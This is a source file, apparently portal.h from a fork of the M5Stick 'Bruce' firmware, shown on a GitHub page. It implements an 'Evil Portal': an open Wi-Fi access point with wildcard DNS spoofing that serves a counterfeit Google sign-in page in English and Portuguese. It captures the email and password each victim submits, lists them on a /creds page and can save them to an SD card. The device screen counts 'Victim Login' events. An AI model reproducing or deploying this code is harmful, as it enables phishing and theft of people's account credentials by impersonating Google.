forked from pr3y/bruce_old
-
Notifications
You must be signed in to change notification settings - Fork 0
/
Copy pathportal.h
266 lines (240 loc) · 15.8 KB
/
portal.h
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
// Borrowed from https://github.com/marivaaldo/evil-portal-m5stack/ which
// has iterative iprovements over my own stand-alone M5Stick Evil Portal.
// Retaining the Portuguese translations since this project has a large
// fan base in Brazil. Shouts to CyberJulio as well.
//TODO: list templates from SD and make select menu
#define SD_CREDS_PATH "/evil-portal-creds.txt"
#if defined(LANGUAGE_EN_US) && defined(LANGUAGE_PT_BR)
#error "Please define only one language: LANGUAGE_EN_US or LANGUAGE_PT_BR"
#endif
#if defined(LANGUAGE_EN_US)
#define LOGIN_TITLE "Sign in"
#define LOGIN_SUBTITLE "Sign In With Google"
#define LOGIN_EMAIL_PLACEHOLDER "Email"
#define LOGIN_PASSWORD_PLACEHOLDER "Password"
#define LOGIN_MESSAGE "Please log in to browse securely."
#define LOGIN_BUTTON "Next"
#define LOGIN_AFTER_MESSAGE "Please wait a few minutes. Soon you will be able to access the internet."
#define TYPE_SSID_TEXT "SSID length should be between 2 and 32\nInvalid: ?,$,\",[,\\,],+\n\nType the SSID\nPress Enter to Confirm\n\n"
#elif defined(LANGUAGE_PT_BR)
#define LOGIN_TITLE "Fazer login"
#define LOGIN_SUBTITLE "Use sua Conta do Google"
#define LOGIN_EMAIL_PLACEHOLDER "E-mail"
#define LOGIN_PASSWORD_PLACEHOLDER "Senha"
#define LOGIN_MESSAGE "Por favor, faça login para navegar de forma segura."
#define LOGIN_BUTTON "Avançar"
#define LOGIN_AFTER_MESSAGE "Fazendo login..."
#define TYPE_SSID_TEXT "Tamanho entre 2 e 32\nInvalidos: ?,$,\",[,\\,],+\n\nDigite o SSID\nEnter para Confirmar\n\n"
#endif
int totalCapturedCredentials = 0;
int previousTotalCapturedCredentials = 0;
String capturedCredentialsHtml = "";
String selectedTemplate;
//String apSsidName = String(DEFAULT_AP_SSID_NAME);
// Init System Settings
const byte HTTP_CODE = 200;
const byte DNS_PORT = 53;
IPAddress AP_GATEWAY(172, 0, 0, 1); // Gateway
unsigned long bootTime = 0, lastActivity = 0, lastTick = 0, tickCtr = 0;
DNSServer dnsServer;
WebServer webServer(80);
void setupWiFi(String apSsidName) {
Serial.println("Initializing WiFi");
WiFi.mode(WIFI_AP);
WiFi.softAPConfig(AP_GATEWAY, AP_GATEWAY, IPAddress(255, 255, 255, 0));
WiFi.softAP(apSsidName);
}
void printHomeToScreen(String apSsidName, String selectedTemplate) {
DISP.fillScreen(BLACK);
DISP.setSwapBytes(true);
DISP.setTextSize(2);
DISP.setTextColor(TFT_RED, BGCOLOR);
DISP.setCursor(0, 10);
DISP.print("EVIL PORTAL");
DISP.setTextColor(FGCOLOR, BGCOLOR);
DISP.setCursor(0, 35);
DISP.print("WiFi IP: ");
DISP.println(AP_GATEWAY);
DISP.printf("SSID: "); //, apSsidName);
DISP.print(apSsidName);
DISP.println("");
DISP.printf("Victim Count: %d\n", totalCapturedCredentials);
// fancy output xd
int htmlPosition = selectedTemplate.indexOf(".html");
String resultString = selectedTemplate.substring(0, htmlPosition);
DISP.printf("Template: %s\n", resultString);
}
String getInputValue(String argName) {
String a = webServer.arg(argName);
a.replace("<", "<");
a.replace(">", ">");
a.substring(0, 200);
return a;
}
String getHtmlContents(String body) {
String html =
"<!DOCTYPE html>"
"<html>"
"<head>"
" <title>Google</title>"
" <meta charset='UTF-8'>"
" <meta name='viewport' content='width=device-width, initial-scale=1.0'>"
" <style>.st0{fill:#2864AE;} .st1{fill:#48AD45;} .st2{fill:#FABD14;} a:hover{ text-decoration: underline;} body{ font-family: Arial, sans-serif; align-items: center; justify-content: center; background-color: #FFFFFF;} input[type='text'], input[type='password']{ width: 100%; padding: 12px 10px; margin: 8px 0; box-sizing: border-box; border: 1px solid #cccccc; border-radius: 4px;} .container{ margin: auto; padding: 20px;} .logo-container{ text-align: center; margin-bottom: 30px; display: flex; justify-content: center; align-items: center;} .logo{ width: 40px; height: 40px; fill: #FFC72C; margin-right: 100px;} .company-name{ font-size: 42px; color: black; margin-left: 0px;} .form-container{ background: #FFFFFF; border: 1px solid #CEC0DE; border-radius: 4px; padding: 20px; box-shadow: 0px 0px 10px 0px rgba(108, 66, 156, 0.2);} h1{ text-align: center; font-size: 28px; font-weight: 500; margin-bottom: 20px;} .input-field{ width: 100%; padding: 12px; border: 1px solid #BEABD3; border-radius: 4px; margin-bottom: 20px; font-size: 14px;} .submit-btn{ background: #1a73e8; color: white; border: none; padding: 12px 20px; border-radius: 4px; font-size: 16px;} .submit-btn:hover{ background: #5B3784;} .containerlogo{ align-items: center; background-size: auto;} .containertitle{ color: #202124; font-size: 24px; padding: 15px 0px 10px 0px;} .containersubtitle{ color: #202124; font-size: 16px; padding: 0px 0px 30px 0px;} .containermsg{ padding: 30px 0px 0px 0px; color: #5f6368;} .containerbtn{ padding: 30px 0px 25px 0px;} @media screen and (min-width: 768px){ .logo{ max-width: 80px; max-height: 80px;}} </style>"
"</head>"
"<body>"
" <div class='container'>"
" <div class='logo-container'>"
" <?xml version='1.0' standalone='no'?>"
" <!DOCTYPE svg PUBLIC '-//W3C//DTD SVG 20010904//EN' 'http://www.w3.org/TR/2001/REC-SVG-20010904/DTD/svg10.dtd'>"
" </div>"
" <div class=form-container>"
" <center>"
" <div class='containerlogo'><svg viewBox='0 0 75 24' width='75' height='24' xmlns='http://www.w3.org/2000/svg' aria-hidden='true' class='BFr46e xduoyf'><g id='qaEJec'><path fill='#ea4335' d='M67.954 16.303c-1.33 0-2.278-.608-2.886-1.804l7.967-3.3-.27-.68c-.495-1.33-2.008-3.79-5.102-3.79-3.068 0-5.622 2.41-5.622 5.96 0 3.34 2.53 5.96 5.92 5.96 2.73 0 4.31-1.67 4.97-2.64l-2.03-1.35c-.673.98-1.6 1.64-2.93 1.64zm-.203-7.27c1.04 0 1.92.52 2.21 1.264l-5.32 2.21c-.06-2.3 1.79-3.474 3.12-3.474z'></path></g><g id='YGlOvc'><path fill='#34a853' d='M58.193.67h2.564v17.44h-2.564z'></path></g><g id='BWfIk'><path fill='#4285f4' d='M54.152 8.066h-.088c-.588-.697-1.716-1.33-3.136-1.33-2.98 0-5.71 2.614-5.71 5.98 0 3.338 2.73 5.933 5.71 5.933 1.42 0 2.548-.64 3.136-1.36h.088v.86c0 2.28-1.217 3.5-3.183 3.5-1.61 0-2.6-1.15-3-2.12l-2.28.94c.65 1.58 2.39 3.52 5.28 3.52 3.06 0 5.66-1.807 5.66-6.206V7.21h-2.48v.858zm-3.006 8.237c-1.804 0-3.318-1.513-3.318-3.588 0-2.1 1.514-3.635 3.318-3.635 1.784 0 3.183 1.534 3.183 3.635 0 2.075-1.4 3.588-3.19 3.588z'></path></g><g id='e6m3fd'><path fill='#fbbc05' d='M38.17 6.735c-3.28 0-5.953 2.506-5.953 5.96 0 3.432 2.673 5.96 5.954 5.96 3.29 0 5.96-2.528 5.96-5.96 0-3.46-2.67-5.96-5.95-5.96zm0 9.568c-1.798 0-3.348-1.487-3.348-3.61 0-2.14 1.55-3.608 3.35-3.608s3.348 1.467 3.348 3.61c0 2.116-1.55 3.608-3.35 3.608z'></path></g><g id='vbkDmc'><path fill='#ea4335' d='M25.17 6.71c-3.28 0-5.954 2.505-5.954 5.958 0 3.433 2.673 5.96 5.954 5.96 3.282 0 5.955-2.527 5.955-5.96 0-3.453-2.673-5.96-5.955-5.96zm0 9.567c-1.8 0-3.35-1.487-3.35-3.61 0-2.14 1.55-3.608 3.35-3.608s3.35 1.46 3.35 3.6c0 2.12-1.55 3.61-3.35 3.61z'></path></g><g id='idEJde'><path fill='#4285f4' d='M14.11 14.182c.722-.723 1.205-1.78 1.387-3.334H9.423V8.373h8.518c.09.452.16 1.07.16 1.664 0 1.903-.52 4.26-2.19 5.934-1.63 1.7-3.71 2.61-6.48 2.61-5.12 0-9.42-4.17-9.42-9.29C0 4.17 4.31 0 9.43 0c2.83 0 4.843 1.108 6.362 2.56L14 4.347c-1.087-1.02-2.56-1.81-4.577-1.81-3.74 0-6.662 3.01-6.662 6.75s2.93 6.75 6.67 6.75c2.43 0 3.81-.972 4.69-1.856z'></path></g></svg></div>" " </center>"
" <div style='min-height: 250px'>"
+ body + " </div>"
" </div>"
" </div>"
"</body>"
"</html>";
return html;
}
String creds_GET() {
String credsResponse =
"<!DOCTYPE html>"
"<html>"
"<head>"
" <title>Creds</title>"
" <meta charset='UTF-8'>"
" <meta name='viewport' content='width=device-width, initial-scale=1.0'>"
" <style>.st0{fill:#2864AE;} .st1{fill:#48AD45;} .st2{fill:#FABD14;} a:hover{ text-decoration: underline;} body{ font-family: Arial, sans-serif; align-items: center; justify-content: center; background-color: #FFFFFF;} input[type='text'], input[type='password']{ width: 100%; padding: 12px 10px; margin: 8px 0; box-sizing: border-box; border: 1px solid #cccccc; border-radius: 4px;} .container{ margin: auto; padding: 20px;} .logo-container{ text-align: center; margin-bottom: 30px; display: flex; justify-content: center; align-items: center;} .logo{ width: 40px; height: 40px; fill: #FFC72C; margin-right: 100px;} .company-name{ font-size: 42px; color: black; margin-left: 0px;} .form-container{ background: #FFFFFF; border: 1px solid #CEC0DE; border-radius: 4px; padding: 20px; box-shadow: 0px 0px 10px 0px rgba(108, 66, 156, 0.2);} h1{ text-align: center; font-size: 28px; font-weight: 500; margin-bottom: 20px;} .input-field{ width: 100%; padding: 12px; border: 1px solid #BEABD3; border-radius: 4px; margin-bottom: 20px; font-size: 14px;} .submit-btn{ background: #1a73e8; color: white; border: none; padding: 12px 20px; border-radius: 4px; font-size: 16px;} .submit-btn:hover{ background: #5B3784;} .containerlogo{ align-items: center; background-size: auto;} .containertitle{ color: #202124; font-size: 24px; padding: 15px 0px 10px 0px;} .containersubtitle{ color: #202124; font-size: 16px; padding: 0px 0px 30px 0px;} .containermsg{ padding: 30px 0px 0px 0px; color: #5f6368;} .containerbtn{ padding: 30px 0px 25px 0px;} @media screen and (min-width: 768px){ .logo{ max-width: 80px; max-height: 80px;}} </style>"
"</head>"
"<body>"
" <div class='container'>"
" <div class='logo-container'>"
" <?xml version='1.0' standalone='no'?>"
" <h1>Credentials Taken</h1>"
" </div>" + capturedCredentialsHtml + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>"
" </div>"
"</body>"
"</html>";
return credsResponse;
//return getHtmlContents("<ol>" + capturedCredentialsHtml + "</ol><br><center><p><a style=\"color:blue\" href=/>Back to Index</a></p><p><a style=\"color:blue\" href=/clear>Clear passwords</a></p></center>");
}
String index_GET() {
String loginTitle = String(LOGIN_TITLE);
String loginSubTitle = String(LOGIN_SUBTITLE);
String loginEmailPlaceholder = String(LOGIN_EMAIL_PLACEHOLDER);
String loginPasswordPlaceholder = String(LOGIN_PASSWORD_PLACEHOLDER);
String loginMessage = String(LOGIN_MESSAGE);
String loginButton = String(LOGIN_BUTTON);
return getHtmlContents("<center><div class='containertitle'>" + loginTitle + " </div><div class='containersubtitle'>" + loginSubTitle + " </div></center><form action='/post' id='login-form'><input name='email' class='input-field' type='text' placeholder='" + loginEmailPlaceholder + "' required><input name='password' class='input-field' type='password' placeholder='" + loginPasswordPlaceholder + "' required /><div class='containermsg'>" + loginMessage + "</div><div class='containerbtn'><button id=submitbtn class=submit-btn type=submit>" + loginButton + " </button></div></form>");
}
String index_POST() {
String email = getInputValue("email");
String password = getInputValue("password");
capturedCredentialsHtml = "<li>Email: <b>" + email + "</b></br>Password: <b>" + password + "</b></li>" + capturedCredentialsHtml;
#if defined(SDCARD)
appendToFile(SD, SD_CREDS_PATH, String(email + ":" + password).c_str());
#endif
String finalResponse =
"<!DOCTYPE html>"
"<html>"
"<head>"
" <title>Redirecting...</title>"
" <meta charset='UTF-8'>"
" <meta name='viewport' content='width=device-width, initial-scale=1.0'>"
" <style>.st0{fill:#2864AE;} .st1{fill:#48AD45;} .st2{fill:#FABD14;} a:hover{ text-decoration: underline;} body{ font-family: Arial, sans-serif; align-items: center; justify-content: center; background-color: #FFFFFF;} input[type='text'], input[type='password']{ width: 100%; padding: 12px 10px; margin: 8px 0; box-sizing: border-box; border: 1px solid #cccccc; border-radius: 4px;} .container{ margin: auto; padding: 20px;} .logo-container{ text-align: center; margin-bottom: 30px; display: flex; justify-content: center; align-items: center;} .logo{ width: 40px; height: 40px; fill: #FFC72C; margin-right: 100px;} .company-name{ font-size: 42px; color: black; margin-left: 0px;} .form-container{ background: #FFFFFF; border: 1px solid #CEC0DE; border-radius: 4px; padding: 20px; box-shadow: 0px 0px 10px 0px rgba(108, 66, 156, 0.2);} h1{ text-align: center; font-size: 28px; font-weight: 500; margin-bottom: 20px;} .input-field{ width: 100%; padding: 12px; border: 1px solid #BEABD3; border-radius: 4px; margin-bottom: 20px; font-size: 14px;} .submit-btn{ background: #1a73e8; color: white; border: none; padding: 12px 20px; border-radius: 4px; font-size: 16px;} .submit-btn:hover{ background: #5B3784;} .containerlogo{ align-items: center; background-size: auto;} .containertitle{ color: #202124; font-size: 24px; padding: 15px 0px 10px 0px;} .containersubtitle{ color: #202124; font-size: 16px; padding: 0px 0px 30px 0px;} .containermsg{ padding: 30px 0px 0px 0px; color: #5f6368;} .containerbtn{ padding: 30px 0px 25px 0px;} @media screen and (min-width: 768px){ .logo{ max-width: 80px; max-height: 80px;}} </style>"
"</head>"
"<body>"
" <div class='container'>"
" <div class='logo-container'>"
" <?xml version='1.0' standalone='no'?>"
" <h1>Please wait a few minutes. Soon you will be able to access the internet.</h1>"
" </div>"
" </div>"
"</body>"
"</html>";
return finalResponse;
}
String clear_GET() {
String email = "<p></p>";
String password = "<p></p>";
capturedCredentialsHtml = "<p></p>";
totalCapturedCredentials = 0;
return "<div><h1>The credentials list has been reset.</div></h1><br><a style=\"color:blue\" href=/creds>Back to capturedCredentialsHtml</a><br><a style=\"color:blue\" href=/>Back to Index</a>";
//return getHtmlContents("<div><p>The credentials list has been reset.</div></p><center><a style=\"color:blue\" href=/creds>Back to capturedCredentialsHtml</a></center><center><a style=\"color:blue\" href=/>Back to Index</a></center>");
}
#if defined(M5LED)
void blinkLed() {
int count = 0;
while (count < 5) {
digitalWrite(M5_LED, LOW);
delay(500);
digitalWrite(M5_LED, HIGH);
delay(500);
count = count + 1;
}
}
#endif
void setupWebServer() {
Serial.println("Starting DNS");
dnsServer.start(DNS_PORT, "*", AP_GATEWAY); // DNS spoofing (Only HTTP)
Serial.println("Setting up Webserver");
webServer.on("/post", []() {
totalCapturedCredentials = totalCapturedCredentials + 1;
webServer.send(HTTP_CODE, "text/html", index_POST());
/* stealth :)
#if defined(STICK_C_PLUS) || defined(STICK_C) || defined(STICK_C_PLUS2)
//SPEAKER.tone(4000);
//delay(50);
//SPEAKER.mute();
#elif defined(CARDPUTER)
//SPEAKER.tone(4000, 50);
#endif
*/
DISP.setTextColor(GREEN, BGCOLOR);
DISP.setTextSize(3);
DISP.print("Victim Login");
DISP.setTextColor(FGCOLOR, BGCOLOR);
DISP.setTextSize(2);
delay(1000);
#if defined(M5LED)
blinkLed();
#endif
});
Serial.println("Registering /creds");
webServer.on("/creds", []() {
webServer.send(HTTP_CODE, "text/html", creds_GET());
});
Serial.println("Registering /clear");
webServer.on("/clear", []() {
webServer.send(HTTP_CODE, "text/html", clear_GET());
});
Serial.println("Registering /*");
webServer.onNotFound([]() {
lastActivity = millis();
// Template select
if (selectedTemplate == NULL){
webServer.send(HTTP_CODE, "text/html", index_GET());
} else {
File payloadFile = SD.open("/" + selectedTemplate, "r");
String fileContent = "";
while (payloadFile.available()) {
fileContent += (char)payloadFile.read();
}
webServer.send(HTTP_CODE, "text/html", fileContent);
}
});
Serial.println("Starting Webserver");
webServer.begin();
}
void shutdownWebServer() {
Serial.println("Stopping DNS");
dnsServer.stop();
Serial.println("Closing Webserver");
webServer.close();
Serial.println("Stopping Webserver");
webServer.stop();
Serial.println("Setting WiFi to STA mode");
WiFi.mode(WIFI_MODE_STA);
}